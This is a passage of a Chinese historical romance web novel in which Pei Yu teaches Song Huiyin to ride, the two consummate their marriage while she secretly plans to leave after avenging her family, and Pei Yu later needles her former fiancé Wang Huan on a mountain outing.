裴彧回屋时,徽音已经从颜娘那里回来,正坐在书案前练字。细想起来,大多数时间他碰见徽音不是在练字就是在看书,很少见她做些别的。 不像贺佳莹和睢阳,喜好女儿家的玩意,四处游玩。 裴彧放轻脚步走过去,站到徽音身后,她在临摹字迹。徽音本身的字迹裴彧见过几次,偏娟秀柔和,她此刻临摹的字迹瘦长锋利,不似女子所书,也不是大家之作。 “这是谁的字?” 徽音集中精神临摹字体,不防裴彧在她身后突然出声,手下动作一乱,在竹简上留下墨迹。 她放下笔回道:“不知名,他的形我很喜欢,没事的时候会练练。” 裴彧坐到她身边,拿起案桌上的字迹打量,看不出什么门道。但这字迹很眼熟,似乎在哪见过。 徽音取回字简收好,衣袖划过裴彧的膝盖,她轻声问:“苑林失火一事,陛下可有追究?” 裴彧的视线无意识落在徽音的腰后,她微微倾身,背脊挺直,裁剪合身的衣裙将她纤细的腰肢透出,盈盈一握。 他垂着眼,不动声色撑在徽音身后,将她整个环抱住,语气调侃:“陛下忙着查刺客,没空管这些小事。倒是皇后听闻苑林失火与我有关,将我叫去痛斥一顿。” “你怎的不告诉皇后是我所放?” 徽音转头撞进他怀中,鼻尖都是他身上的气息,她不好意思的向后退去,却被裴彧拦腰抱住,那人凑到她跟前,盯着她的唇,“我是你男人,推女人出去顶缸的事我做不到。” 徽音退拒的手一顿,想起昨夜裴彧扶着她上马,温声叫她别怕,他立于火中望着她,狂风吹起他的头发,眼底全是她。 她慢慢闭上眼,睫毛如同蝴蝶翅膀般抖动,等待他的靠近。 裴彧低头下去,一触即离,他伸手摸摸徽音的头,语气突然泛酸,“你,是不是还惦记着太子?” 内室旖旎的气息因这句话瞬间消散,徽音睁开眼,眼底满是疑惑,似乎没有理解他的意思。 “你说什么?” 裴彧将人抱进怀里,鼻尖是徽音身上的淡香,手下是徽音柔软香盈的身体,他用力的的将徽音嵌进身体,埋在她颈间深吸一口气,恶狠狠道:“你和太子再无可能,以后不许再惦念他!” 徽音靠在他肩膀上,迷茫的眨眨眼,他在说什么啊? 徽音不吭声,裴彧心中更酸了,彷佛喝了一口老陈醋似的,从喉咙酸到心口,哽得他说不出话。 他掐了把徽音的腰,“你怎么不说话?” 徽音侧头盯着他微微泛红的眼睛,轻声道:“谁告诉你的?” 裴彧冷哼道:“屡次害你那人就是苏静好吧,你们原先是好姐妹,若不是因为太子反目成仇,她为何对你下手,你又为何不肯告诉我,难道不是你心中有鬼?” 徽音挣扎出他的怀抱,原先蒙在心上的阴影沉闷散去,她竟有些想笑。她掐着手心低下头,顺着裴彧的话的承认此事,装作尬尴道:“确实是因为此事我才和她心生嫌隙的。” 听见她亲口承认后,裴彧心头火气,抬手戳着徽音的脑袋骂道:“宋徽音,该惦记的人你不惦记,你眼瞎心盲。” 徽音东倒西歪的躲避他的攻击,急急忙忙的出声喊住他,“我现在没这个心思了,真的!” 裴彧狐疑的收回手,双手抱臂不吭声。 徽音凑过去,眉眼弯弯,“你上次说教我骑马,还算数吗?” 裴彧眉间一动,傲气的别过脸。徽音直起身,双手扒着裴彧的脸转过来,低头亲下去。 不是方才那样的一触即离,她用了些力,轻轻含住裴彧的唇瓣,沿着他的唇线来回舔舐,轻而易举的撬开他的唇,唇齿交缠。 徽音看着裴彧慢慢闭上眼,他那双锐利的眼眸被长睫盖住,锋利的五官因他舒展的表情变得柔和起来。 他在她身下发出轻轻的喘息,酥酥麻麻的,痒到她心里去。她的手从裴彧的脸上滑落,来到最为脆弱的颈间,环住他的背脊,加深这个吻。 徽音半跪着撑不住身体,摇摇晃晃,她想起身换个姿势。裴彧却不许她离开,将人拦腰抱在怀中,手掌顺着徽音的大腿一路向上,揉皱衣裙。 不知他触到哪里,徽音浑身一颤,像第一次喝醉酒那样,昏昏沉沉,心肺燃烧,软软倒在他怀中。 裴彧抬起头,身下人泪眼朦胧,满脸通红,胸前盈润起伏,一副被欺负狠了的样子,叫他有些控制不住。 他深吸一口气,伸手捂住徽音的眼睛,伏在她身上轻轻蹭动,嗓音沙哑:“等会带你去马场挑匹马。” 徽音没有作声,整个人埋在裴彧的怀里,只露出微红的耳尖。她捂着砰砰跳的心口,久违的露出小女儿情态,她喜欢和裴彧亲吻。 两人抱在一处平息片刻,裴彧便拉着徽音换了身简便的骑装,又担心徽音娇弱怕晒,翻出一个素白纱质的幕离端端正正的盖到徽音的头上。 裴彧满意的打量被遮住面容的徽音,牵着人去挑马。 第44章 裴彧,我们圆房吧…… 徽音说想骑马并非是刻意讨好裴彧, 昨夜苑林,她若是会骑马的话,就能将颜娘顺利救出来。裴彧说的没错, 关键时刻,马术能救命。 苑林马场的马都是从御马厩精挑细选过来的, 膘肥马壮,负责养马的内侍远远的瞧见裴彧牵着个女郎过来,连忙挤起笑迎上去。 “裴将军,您是来挑马的吗?” 裴彧微微颚首, 吩咐道:“去将那匹汗血宝马牵出来。” “好嘞,”马内侍点头哈腰笑道, “奴婢这几日天天拿草料喂着, 就等着裴将军来。” 裴彧靠近徽音,解释道:“这汗血宝马一共就三匹, 陛下带了两匹来甘泉宫,有一匹死在刺杀中,这剩下一匹陛下赏给我。” 徽音点点头,她有些热,此时已临近黄昏, 太阳快要落山, 山中凉风徐徐, 可她带着幕离, 虽然透气, 但还是有些燥热。 内侍牵着马朝他们走来, 那马体型极为健壮,与徽音见过其他的矮脚马截然不同。它毛皮色泽鲜艳,光滑如上等的缎子, 像流动的烈焰般。如四肢有力,长长的马尾甩在身后。 它越来越近,徽音有些害怕的后退一步,躲在裴彧身后。 裴彧揽住徽音的肩膀,强硬的带着她朝马走去。他接过内侍递来的缰绳,拍拍那马的头,徽音甚至能感觉到它鼻息喷吐着白雾,犹如龙喘,带着一种原始的力量感。 裴彧捉住徽音的手放在马背上,带着她一寸一寸的抚摸马背,在她耳边轻轻叙说:“别害怕,我在。” 徽音身体有些僵硬,全靠着裴彧的牵引。裴彧带着她来到马臀处,手下的肌肉温热有力的跳动,马尾轻轻摇晃。 “你给它取个名字。” 徽音抬眼望着裴彧,发觉他双眼含笑的望着自己,眼底流淌着细碎的光芒。 她收回手,“就叫赤焰罢。” 裴彧拦腰抱起徽音,将她放在马上,拍着她僵硬的背脊笑道:“好名字。” 徽音一动不动,她背脊挺的直直的,害怕的望着裴彧,“别,你上来,我害怕。” 裴彧微微皱眉,没再说什么,翻身跃上马落在徽音身后,双手环绕住她,带着她握紧缰绳,轻夹马腹部,向前慢跑。 他轻抚徽音背脊,摸出三个点,轻喝道:“立着,坐正,身体放松。” “缰绳不要拉的太紧,脚尖朝前,脚掌踩在马镫上,脚跟略低于脚尖,用小腿贴住马腹。” 赤焰带着他们二人朝草原深处跑去,微风拂起徽音头上的幕离,露出里头那张花颜。 纱娟吹在裴彧脸上带起一阵痒意,他抬手掀开幕离别在马鞍上,抱紧徽音加速。 徽音僵硬的身躯在他指引下渐渐放松,好似摸到了些门道,她靠在裴彧怀里,头发被风吹乱,望着眼前一望无际的草地,心底似乎有什么正在苏醒,让她不禁想再快些。 马蹄嗒嗒的声音不断响起,赤焰如同一只利剑窜出,即使驮着两个人,它速度依旧不减,它奔袭着,仿佛不是踏着尘土,而是御风而行。 它的毛发上缓缓渗出一颗颗细小的、殷红如鲜血的汗珠。 徽音不再害怕,她张开双手,闭上眼睛迎着风,胸腔比以往跳动的还要快。视线中的一切都流动起来,树木和山峦如同飞速向后退去。 她第一次感受到了什么是自由,这一刻,她放下了所有,做回了自己。 过了许久,裴彧拉住缰绳,拍拍徽音的脑袋,示意她朝前看。 太阳开始西沉了。 天边的云层被灼烧成耀眼的金色,外圈染上深深的橘红与瑰丽的紫晕,它高悬在西天的山脊之上,慢慢下沉。 当最后一道弧形也隐没在山峦之后,天地间为之一暗。暮色降临,明月高悬。 徽音凝视着那片霞色,唇角微扬。 裴彧掉转马头,看着她白皙的侧脸问,“开心了吗?” 徽音侧头望着他,他的颈部线条利落,那颗喉结上下滑动,像一座起伏的山峦,充满了野性的,不加掩饰的吸引力。 徽音开心笑道:“我很开心,谢谢你,裴彧。” 她眨眨眼,“我想再骑一圈,成吗?” “明天再来。” 裴彧说话间胸腔震动,细小的气流钻进徽音的颈间,她不禁缩了下脖子。她坐在马背上向后望,最后一抹霞色也被夜色取代,归于虚无。 回到马场时,徽音的大腿两侧才开始后知后觉的疼痛起来,连走路都变得困难。 裴彧将赤焰交给内侍,抬眼便看见徽音靠在木廊上,夜风吹起她的衣摆,素色绫罗在夜风中飞舞,她纤细的身躯微微摇晃, 像一阵握不住的风,随时会离开。 裴彧立在原地看着徽音的背影入神,他总觉得徽音有很多事情在瞒着他,她把自己封闭在一个盒子里,外人进不去,里面的人出不来。 他慢慢走上前,拍拍她的肩膀,蹲在徽音面前,“上来。” 徽音看着他宽阔的背脊,不自觉的后退两步,小声道:“我能走。” 虽已入夜,但让裴彧背着她一路回迎风馆,路上肯定会被很多人撞见。高位者的男女情事总是引人注目,不出一日,甘泉宫便都会知晓,她不想这样,不想和裴彧,还有柳檀以这种方式为人熟知议论。 裴彧单膝跪地,回头望着着她,不容置疑 :“上来,不要让我说第三遍。” 徽音深吸一口气,趴在他的背上,这些时日相处下来,她已经摸透了裴彧的性格。只要顺着他的脾性,大约不会出事,就如同陶媪所言,吃软不吃硬。 裴彧的背脊很稳,这一路上只有几盏铜灯,灯光昏暗,难以辨清路,他却如同白昼,脚步极稳,甚至无需停下来辩别方向。 徽音趴他在他的背上,头顶的明亮的星辉,想起往事。她这一生只有三个人背过她,阿父、王寰和裴彧。 幼时的徽音喜欢热闹的街市,宋父下衙后便会背着徽音去东市转悠买糖吃,久而久之徽音生了牙虫,宋夫人就不许父女俩再上街晃悠了。 王寰那次,是意外,温顺的小木马突然发疯将徽音甩下马,摔伤了腿。她害怕极了,伏在地上大哭出声,王寰听见她的哭声找过来,将她从黄泥里扶起,一路背回去。 那时的王寰也才十五岁,身量清瘦,背着徽音走的很艰难,回去的路上还在不停的安慰徽音别怕。 王寰是除了父亲外第一个令徽音感到安心的人,所以在阿父阿母问她愿不愿意和王寰订亲时,徽音点头,她始终记得雨幕里背着她回家的那个少年,是她少女时期最难忘铭记的事情。 剩下那个,就是裴彧。徽音心绪杂乱起来,对于裴彧,她很难说出是什么感觉。很早,她就知道裴彧这个人,当时只觉得他少年成名,战功彪悍,是个很厉害的人。 后来,裴彧私下讲她坏话,令她心中少年英雄的滤镜破碎一地,但那时两人没有交集,她也没有过多在意。 再后来,宋家出事,徽音主动找到裴彧,只为利用,利用他为父亲翻案。 裴彧将徽音往上提溜一点,朝身后一直沉默的人说道:“放心吧,这一路我都避着人在走,没人会看见。” 徽音慢慢缩紧手臂贴上裴彧的脸,她清晰的感觉到裴彧身体的停滞,心里浮起隐秘的开心,她靠近裴彧的耳边轻声道:“裴彧,我们圆房吧。” “你说什么?”裴彧的手臂勒紧,停下脚步。 徽音不再说话,埋头在裴彧的颈间。她并非无心无情之人,人心亦是肉长,裴彧做的事,说的话她都记得。 不知从何时起,她对裴彧产生了一丝异样的感情,初时不明显,随着时间的推移,这种情感已经深深的影响到她。 她和裴彧之间不再只是一桩交易,她动情了。 这不是好事,徽音清楚的知道她和裴彧不可能,裴家只有他和裴衍两人,对于世家大族来说,子嗣太单薄了。 他的婚事是筹码亦是政治。裴彧会娶妻,不是柳檀也会是别人,他也会纳其他妾延绵子嗣。 而她,不能接受。从前是,往后也是。裴彧也许现在很喜欢她,可以后的事,谁又能说得准呢。 徽音侧过头,一滴泪从眼角滑过,她抱紧裴彧轻轻道:“我想回去了。” “好。” 裴彧向前走,脚步踏在枝叶上发出轻响,徽音听见他道:“宋徽音,我不会负你的。” 徽音泪眼朦胧,她想问裴彧,那你会娶我吗?会永远站在我这边吗?会帮我报仇吗? 她不敢问,甚至不敢去问柳檀,好像只要她不问,就可以当作什么都不知道,当作什么都没发生。 徽音无声的流泪,她悄悄的抹去眼泪,早知道的话,她不会找上裴彧。她在心底轻轻开口:“裴彧,我骗了你,我把一切都给你,将来东窗事发,你不要恨我,不要怨我。” 回到迎风馆时,徽音的情绪已经平复,只有眼角还是红红的。 裴彧将她放在床上,转身去药匣子里翻药。 徽音躺在床上,听见他在那里翻动瓶罐的声音,浅笑起来。 裴彧找到药膏,俯身望着床上的徽音,眼神深邃,“我帮你上药。” 徽音轻轻点头,张开手仍由他摆弄。 裴彧解下徽音的腰带,露出两条如藕节般白皙的长腿,纤细笔直,清冷又脆弱。 他呼吸变得急促起来,曾经引以为傲的自制力在这一刻分崩离析,他倒在徽音身边,抵着她的头深深的喘息,眼底欲色翻涌,“让我缓缓。” 他摸上徽音的脸,轻轻抚过她泛红的眼角,“你哭了,为什么?” 徽音眨眨眼,回:“夜风太大。” “你在骗我,”裴彧说完这句,翻身躺正张开手,安慰自己,“起码你还愿意骗我。” 徽音的心又开始泛酸,她眨眼逼回眼泪,委屈道:“你能不能不要说这种话?” “这种话怎么了?”裴彧问。 会让我误会,让我觉得你很爱我,让我控制不住自己的心。 徽音抬手遮住眼皮,耍脾气的蹬蹬腿,“腿疼。” 裴彧认命的爬起来,拍拍她的腰,沙哑道:“给你涂药。” 冰凉的药膏均匀的涂抹泛红的伤口处,徽音仰着头,听着下面悉悉索索的声音。 过了半响,裴彧收好药膏,问她,“要去沐浴吗?” 徽音点点头,裴彧便将她抱起来走进浴房,他没有喊颜娘来,自己亲自上手服侍徽音,如荔枝剥壳般鲜嫩感到肌肤展现在他眼前,裴彧心中默念清心咒,捡起帕子轻轻擦拭徽音的背脊。 徽音闭着眼,仍由他摆弄,裴彧手掌上的茧痕擦过她的蝴蝶骨,温热顺着她的腰背一路酥酥麻麻。徽音微微缩身,小幅度的躲避他的触碰。 她脸红得不像话,热意一阵阵往上涌。 徽音有些后悔,抓住裴彧青筋暴起的手掌,漂亮的眼睛里布满哀求,“你出去,我自己来。” 裴彧反握住徽音的手臂,将人抱在怀中往内室走。 徽音被他猝不及防的动作吓到,她挣扎两下,不仅没能挣脱,还让裴彧的呼吸更加灼热,喷洒的气息贴在她的耳边,叫她不敢再动。 “宋徽音,看着我。” 低沉的声音在耳边响起,徽音睁开眼,裴彧的发丝因方才在浴房的动作打湿,一刻晶莹剔透的水珠坠在发尾。 他眼角发红,双手握住徽音的腰身,胸口生热。 “徽音,我是谁?” “你是裴彧。”徽音呢喃道。 裴彧满意的笑起来,眉间上扬,任谁都能感觉到他此刻的愉悦。 徽音脸颊发热,避开他侵略十足的眼神,胸口急速的跳动,她清晰的知道接下来会发生什么。 他直起身,漆黑的眼住锁在徽音面上,当着她的面开始脱衣,一件一件的扔在地上。 徽音本就觉得害羞,被他这样紧紧盯着更是不自在,翻身想去拿被子。 裴彧含糊道:“你上次救贺佳莹,怎么救的?” 徽音面露迷茫:“我不知道。” 裴彧使坏掐了把她腰间的软肉,换来她腰身弓起撞进怀里。他手下蓦然用力,低头咬了口,逼问道:“记起来没?” 徽音慌忙去拦他咬人的动作,眼角浸出泪,“我那是救人。” 裴彧低低的笑起来,嗓音醇厚,带着一丝若有似无的诱惑。 “府内的婢女都说你是王母下凡,能救人命。好徽音,你也救救我吧。” 徽音被他吻住,唇齿交缠间露出嘤咛:“怎么救……” “我教你。” 裴彧抚上徽音的锁骨,细碎的吻落在胸前,跟着手掌一路向下,他膝盖跪着徽音身侧,低头下去。 西屋灯火一夜未熄。 —— 翌日,徽音醒来时外头已经天光太亮,她窝在裴彧怀中,耳边是他浅浅的呼吸声,腰上是裴彧骨节分明的手掌。 她动了动身体,换了个更舒服的姿势,一动腿,就感觉下身蔓延密密麻麻的酸胀感。想起昨夜两人的孟浪,她瞪了眼还在睡觉的裴彧,从轻手轻脚的下床。 捞了件落在地上的衣裙,遮去一身的痕迹,屋外传来婢女和贺佳莹说话的声音,原是贺佳莹想找她说会话,被婢女拦在门口。 只听贺佳莹道:“这都日上三竿了,徽音怎么还没醒,你莫不是诓我?” 婢女尴尬的解释:“女郎,宋娘子确实还未醒,您要不等会再来。” 贺佳莹半信半疑,婢女扛不住的凑到她跟前小声道:“少将军也在里面。” 她这才反应过来,脸上爆红,捂着脸跑开。 徽音手忙脚乱的穿好衣服,胡乱将发拢在身后,趿着鞋去开门,吩咐婢女准备洗漱的东西。 她收拾好后,先去旁屋看颜娘,颜娘已经醒了,脸色依旧苍白,精神头看起来要比昨日好很多。 她是个闲不下来的性子,才躺了两天就开始操心起徽音的日常起居,担心外头那群婢女伺候不好徽音。 徽音拉着颜娘的手絮絮叨叨半天,告诉她自己和裴彧已经圆房了。 颜娘起先还不相信,看见徽音认真的神色后,她长叹口气,摸着徽音的脸问:“他没强迫你吧。” 徽音摇摇头,唇角上扬,“我是愿意的。” 颜娘看着她羞涩的笑容,努了努嘴,想要说些什么,又放弃了。 徽音明白颜娘想说什么,她想劝自己,却又不知如何开口。 她握紧颜娘的手,神色认真,“傅母,我知道你在担心什么。我已经想好了,留在裴府的这些日子里,裴彧若真心待我,我必当也真心待他。我不会忘记宋家的仇恨,等报仇后,我不会留在裴家,我会带你回荆州。我和裴彧,从此就桥归桥,路归路。” 颜娘泣道:“你舍得下吗?” “我能。”徽音坚定道。 颜娘眼眶生热,捧着徽音的脸低泣,她比任何人都明白徽音,她骨子里的倔强,坚持的自我。 正因为如此她才不愿意徽音爱上裴彧,一段注定没有结果的情,只会伤人伤己。裴彧不会娶徽音,徽音不会留下做妾,这是死局。 颜娘希望徽音身边有人陪伴,能保护她爱重她,她年纪大了,又是个老仆,帮不上什么忙,唯一的心愿就是看着徽音好好活下去。 若两人皆未动情,自然可以了无牵挂抽身离去,可现在…… “傅母,”徽音擦干泪,“我要避子药。” 颜娘瞳孔紧缩,无言闭上眼点点头,那东西她们早就准备好了,一直随时携带着,就怕哪天出事,担心怀子。 她指着床角一侧道:“就在里面的匣子里。” 徽音取出避子药,当着颜娘的面吞服下去,药丸遇水相溶,从喉咙一路苦到心肺。 颜娘将徽音拥在怀里,抚摸她脆弱的肩颈,颤抖道:“没事了,没事了。” 等颜娘睡下后,徽音才离开旁屋,正好撞见出门来找她的裴彧。 他嘴角微微上扬,那双眼睛最是勾人,眼波流转间,分明含着三分笑意,七分漫不经心,看人时总像是专注,细瞧又觉虚无,仿佛只是随意一瞥,却已摄了人心魄去。 裴彧走上前,双手撑腰看着她,眼底含笑,“醒了怎么不喊我?” 徽音刚刚哭过的眼睛一澄如洗,明晃晃的倒映裴彧的俊秀的脸庞,她推开裴彧不好意思的往前走,“想让你多睡会。” 裴彧懒洋洋的眯着眼,跟着徽音身后转悠,徽音去哪她去哪,惹得院中的婢女偷笑连连。 徽音无奈道:“你无事可做吗?” “有啊。” “我的事就是看你。” 徽音气鼓鼓的推开他挡路的身形,瞪着他,“你不许跟着我。” “下了床就不认人……” “住口,”徽音火急火燎的扑过去,拦住他口无遮掩的嘴巴,“不许你乱说。” 裴彧抱住徽音走进屋,将人抵在门框上,轻轻抬起她的下颚,□□丰盈的唇瓣,“还痛不痛不?” 徽音别开脸,却被他使坏的掐住腰身,她怕痒,当即往裴彧的怀里钻去,边笑边躲,“……痒……别……” 裴彧停住手,眼波流动时,唇角还带着抹似笑非笑的神气,“歇两天再带你去骑马,今天带你去别去玩。” 徽音:“去哪?” “你这几天因为颜娘的事郁郁寡欢,带你去山顶玩玩,透透风。” 裴彧牵着徽音的手往里走,带着人到衣橱柜前翻找衣裳。 徽音看他翻得一团乱糟糟的,好几件喜欢的衣裙都叫他丢开乱成一团,她拉住他的手阻止道:“我自己来,你把我的衣橱都弄乱了。” 裴彧不肯,他今日非要亲手给徽音打扮一番,他头也未回的敷衍,“弄乱了我给你整好。” 最终,在裴少将军一顿挑挑拣拣下,他翻出一条桃红缠枝纹的宽袖直裾,不甚满意的贴在徽音身边比划两下,推着她去换衣裳。 徽音接过衣服,这件衣裙与入裴府时见了礼那件很像,是裴夫人叫人新做的。她不喜这个颜色,总会让她想起刚入裴府时的委屈,因此一直压在箱底,没想到此刻被裴彧翻出来了。 她不想扫他的性,顺从的换上裙裳,不得不说这个颜色极好,很衬徽音的肤色。面若初绽的桃花,白里透红,两弯眉毛细细的,底下嵌着一双明眸,黑如点漆,亮若晨星,娇而不媚,艳而不俗。 裴彧定定的看了徽音几眼,只把人看的不好意思才手眼,揽着徽音的肩膀偷香几口,喂叹道:“真想把你藏起来,不让任何看见。” 徽音拨弄着发髻上的珠钗,斜了他一眼,径直朝外走—— 作者有话说:现在才发现这章被锁了,尽力修改了[捂脸笑哭] PS:我真的没招了 到底怎样才能放出来…… 第45章 你往后会娶柳檀吗? 两人没带随从, 跳了条小路上山。刚行至半山腰,便觉燥热被层层绿意筛去了七八分。 树木遮天蔽日,枝叶纵横交错, 细缝处落下碎金色阳光,时有凉风吹来, 挟着树叶和泥土的清气。 徽音面色发红,她身体很虚,已经有些上气不接下气。裴彧还跟没事人一样,闲庭漫步的跟在她身后, 脸薄汗都未出。 她停在树荫下,大口的喘气, 抬手擦着汗。早知道是一步一步爬上来, 她说什么也不会听裴彧的穿这么繁琐的衣裙,带这么重的首饰。 面前递过来一个水壶, “喝点水。” 徽音仰头灌了几口,软骨头似的想坐下,结果被裴彧手疾眼快的拉住手臂,他笑眯眯的跟着狐狸得逞一样,“走不动了吧, 我背你上去。” 徽音确实是累, 她扶着树干朝上望, 距离山顶还有好大一截, 裴彧背着她上上山估计够呛。 她摇摇头, “我歇歇就行。” 裴彧状似不悦, 拉长语调:“看不起你男人是吧。” 他不由分说的拉住徽音的手臂往颈上放,弯腰轻而易举的背起徽音,拍拍她翘起的臀部, 笑道:“等你爬上去太阳都落山了,再说你打扮的这么好看,一路爬上去汗津津的到时候又不舒服,别逞强。” 徽音撇撇嘴,他说的有些道理,裴彧乐意背,她也乐得自在。她趴在裴彧肩上问:“山上有什么好玩的吗?” 裴彧嘴角微勾,坏心思溢于言表,“你等会就知道了。” 很快,徽音就明白为什么裴彧要拉着她上山,还拉着她打扮,又在半山腰就背上她。 他背着她没走两步路,在一处石阶山涧的石亭处,“偶遇”了睢阳、王子邵,王寰等人。 睢阳远远瞧见表兄背着徽音走过来,眼底的兴味迸发,不顾王子邵的阻拦招手喊住两人,“表兄!徽音阿姊。” 徽音抬起头,顺着声音的方向看去,亭中坐着七人,除去招手的睢阳和她身边的王子邵,最引人注目的就是身如长立,温润如玉的王寰,其他几人亦是王氏子弟。 徽音浑身一僵,指节嵌进裴彧的衣领,她质问道,“你是不是故意的!不许过去!” 裴彧浑然不觉,甚至空出一只手和睢阳打招呼,背着徽音稳稳的走过去。 徽音用力的掐着他的肩膀,咬牙道:“你放我下来。” 身下的人不仅没放,还把她往上掂了掂,手臂缩进,手掌的温度透过薄薄的布料印在徽音的大腿上,烫的她浑身难受。 离得近了些,徽音眼见躲不过去,跟着鹌鹑似的缩在裴彧肩上,僵硬的朝睢阳等人问好。 裴彧一副好巧的神色,背着徽音站在亭外,眉眼都染上笑意,看得出心情颇好,他率先问道:“你们今日也上山啊?” 徽音盯着他的侧脸腹诽:还装的挺像,他分明就是计划好的。 睢阳连忙点头,指着身后的几人道:“这个时节的山泉清凉可口,我们约好去山上游玩。” 她指着徽音迟疑道:“你们这是?” 裴彧微抬下巴,视线越过睢阳,凝视亭中端坐的王寰,用在场人都能听到的声音回:“徽音累了,我正打算背着她上山。” 徽音面上犹带三分笑意,心里早就翻江倒海。她掐着裴彧的肩膀的手指开始泛白,那人却浑然不觉,一副皮糙肉厚的样子。 睢阳笑着点头,开口邀请:“要不,我们一起上山吧?” 裴彧眉间上挑,意味深长的盯着王寰的身影,不发一言。 王子邵终于找到时机拉住睢阳,那张郎艳独绝的脸上带着尴尬的笑意,他捏着睢阳的手,朝后使眼色。 睢阳后知后觉的才发现这场面有些尴尬,难怪她觉得表兄今日有些不一样,话是对着她说,眼神却直勾勾的盯着王寰,但邀请的话已经说出口,她也不好再收回,只好跟着王子邵一起尴尬的看着王寰。 王寰无视众人的眼神,缓缓看着徽音,他眉目疏朗,广袖如云,如清风明月般开口,“徽音,你想和我们一起吗?” 裴彧脸色攸的难看起来,这人居然当着他的面勾引徽音,是可忍孰不可忍,他换了个姿势,将徽音完完全全隐在身后,不悦的看着王寰。 他眯起眼睛和王寰对视,王寰只略微瞟了他一眼,便移开目光。 徽音哪敢和他们一起,这才刚见面,裴彧就已经一副斗鸡模样,要是真凑一起还得了。 她探出头,正要出声拒绝。裴彧先她一步发话,“我觉得一起很不错,你觉得呢,徽音?” 徽音恨不得掐死他,如果这里没人,她一定会掐着裴彧的颈脖骂他在发什么疯。她用气音回:“你到底想干嘛?” 裴彧挑眉,“不干嘛,都是熟人,碰见了一起结伴游玩。” 徽音有些生气,明白他今日就是冲着王寰来的,那边几人还在等她的回复,她轻轻点头,“那就一起吧。” 一行人就这么凑在了一起,在徽音的强烈要求下裴彧将她放了下来,他起初还不肯,直到徽音真的生气才罢休。 徽音一落地就丢下裴彧和睢阳手挽手走在一起,没给裴彧一个眼神。 倒是王子邵哀怨的看了她一眼,徽音只能在心底默默给他道歉。 裴彧盯着徽音生气的背影,摸了摸鼻头,回去得哄人了。他落后一步,和王寰并肩而行,一副熟稔的语气,“王郎君近来可好?” 王寰微微一笑,“近来很好,多谢裴将军关怀。” 裴彧身量比王寰略高出半个头,此刻看王寰倒有几分自上而下的意味,他眉梢轻挑,不显得轻浮,倒平添了几分洒脱。 “那日王郎君救下徽音,某还没来得及上门致谢,王郎君勿怪。” 王寰浅笑摇头,“我与徽音多年交情,不过小事一桩,裴将军勿要放在心上,而且徽音,她已经谢过我了。” 裴彧的笑容逐渐消失,这姓王的还贼心不死惦念他的人,他又道:“听闻徽音幼时学马不甚受伤,是王郎君将她一路背回?” 王寰脚步停顿一瞬,复杂的望着徽音的背影,没想到此事裴彧竟然也知道了,看来他和徽音感情甚笃。 他听自己无波澜的声音:“是。” 王寰说完这句便一言不发,眉梢沉下。裴彧见目的达到也不再找话题,两人一路无言,明明并肩而行,却泾渭分明。 睢阳偷偷看了眼身后气氛异常的两人,偷摸在徽音耳边道:“阿姊,他们会打起来吗?” 徽音趁机回头看了一眼,裴彧一身玄袍,他举手投足间自有一段风流态度,见她看来眼皮掀起投来一眼,有意无意,最是磨人。 她瞪了眼裴彧,微微扬手警告他。而后才去看裴彧身侧的王寰,他与方才有细微的不同的,周身气度沉郁,眉间似是染上愁绪。 徽音收回眼神,示意睢阳放心,王寰是文臣,裴彧是武将,王寰不会动手,而裴彧他一只手就能将王寰撂倒,他心高气傲,不屑于动手。 她现在只想知道裴彧有没有在王寰面前乱说什么。 抵达山顶后,徐徐凉风吹来,将大伙的疲累吹扫而空。几人找了块干净的大石头相靠坐下。 除了裴彧依旧龙精虎猛,其他人都气喘吁吁需要缓缓,他见徽音额头冒汗,来到她跟前,捻帕替她擦汗。 “如何,我说背你你不肯,累坏了吧。” 徽音确实够呛,但睢阳比她年纪还小,一路全凭自己上来,她也不好意思喊累。她咽下口水,难受道:“我想喝水。” 裴彧腰间的水壶也已经饮完,他不想徽音用别人用过的水,遂拍拍她的头,“等我。” 他起身将其他几人饮完的水壶都收拢起来,连王寰的都没有放过。他拧着水壶朝山泉走去,裁剪合适的衣袍修饰他的身形,挺拔劲瘦,背影带着几分散漫不羁。 他走后,王子邵便凑上来,掏出绢帕细细的擦着睢阳的小脸,心疼道:“我说不让你跟着来吧,脚痛不痛?” 少年笑意清冽干净,不掺杂质,唇角才刚扬起,那笑意便先从眼底溢了出来,像是湖心漾开一圈涟漪。他鼻梁已见挺拔的雏形,但线条尚存少年的柔和。 睢阳仰起小脸了,眼珠亮晶晶的,一脸兴奋,“我不累,我第一次自己爬上山。” 王子邵蹲在睢阳身侧,细心的揉捏她的小腿,毫不吝啬的夸赞:“央央真棒。” 睢阳羞红小脸,轻轻抬脚踢了一下他,捂着脸不敢看徽音。 徽音自觉的挪了个地方,将空间留个两人。她才落座,身侧也坐下一个人,是王寰。 他递上一块干净的锦帕,朝徽音笑道:“擦擦吧。” 徽音向后望了下,裴彧还未归。她微微摇头,没有接过来,有些迟疑的问,“方才,裴彧和你说了些什么?” 王寰表情不见失落,他收回帕子,“他替那天宫宴我救你来道谢,还有你幼时落马一事。” 徽音松了口气,笑意更真了些,“昨日裴彧带我去跑马,我现下已经不害怕马了,过不了多久就能学会骑马了。” 王寰心中仿佛有把沙子随风在流逝,任他如何使力也抓不住,他微微垂头,平静道:“那很好。” 徽音双手撑在石块上,眺望远方,在此处能把甘泉宫的全景一览无遗,她甚至能看见秀水湖畔,她眯着眼,像只饱满餍足的小狸猫。 王寰不由得朝她靠近两分,声音很轻,“徽音,你……喜欢裴彧吗?” 徽音听闻此话,沉默良久,她轻轻吐出一口气,“喜欢。” 王寰眼神黯淡下去,拳头在看不见地方缩紧,心底有两人小人在跳动,一个说现在就告诉她你的心意,也许她会回心转意,另一个说,她已经喜欢上别人了,不应该再打扰她。 王寰张张了口,惨然一笑,没再开口。 身后有脚步声传来,裴彧拧着盛满泉水的酒壶大步走来,他嘴唇紧抿,眉梢都是冷意,连下颚线都绷紧了几分。 他解下水壶扔给其他人,双手各拿一个走到徽音身边,漆黑的眼珠盯着王寰,暗藏怒气。 王寰接过水壶,对裴彧道谢,看了眼徽音抬步离开。 徽音仰头看着裴彧咬紧的下唇,伸手拉拉他的衣摆,裴彧绷着脸蹲下,打开水壶递过去。 徽音接过喝了两口,山泉水清澈干冽,回味带甜,喉间的干涩得到缓解。她舔舔嘴,“你喝了吗?” 裴彧面无表情的接过水壶,仰头灌下去,泉水顺着他修长的颈脖顺流而下,喉结涌动。 他喝完水,蹲在徽音身边,眸色沉沉。 徽音拉着他坐下,抱着他的手臂指着一处点跌宕起伏的山峦问是什么。 裴彧一一给她解释,看着徽音白皙的脸颊,喋喋不休的唇瓣,他恨不得就此捧着她的脑袋深吻,告诉在场所有人,徽音是他的。 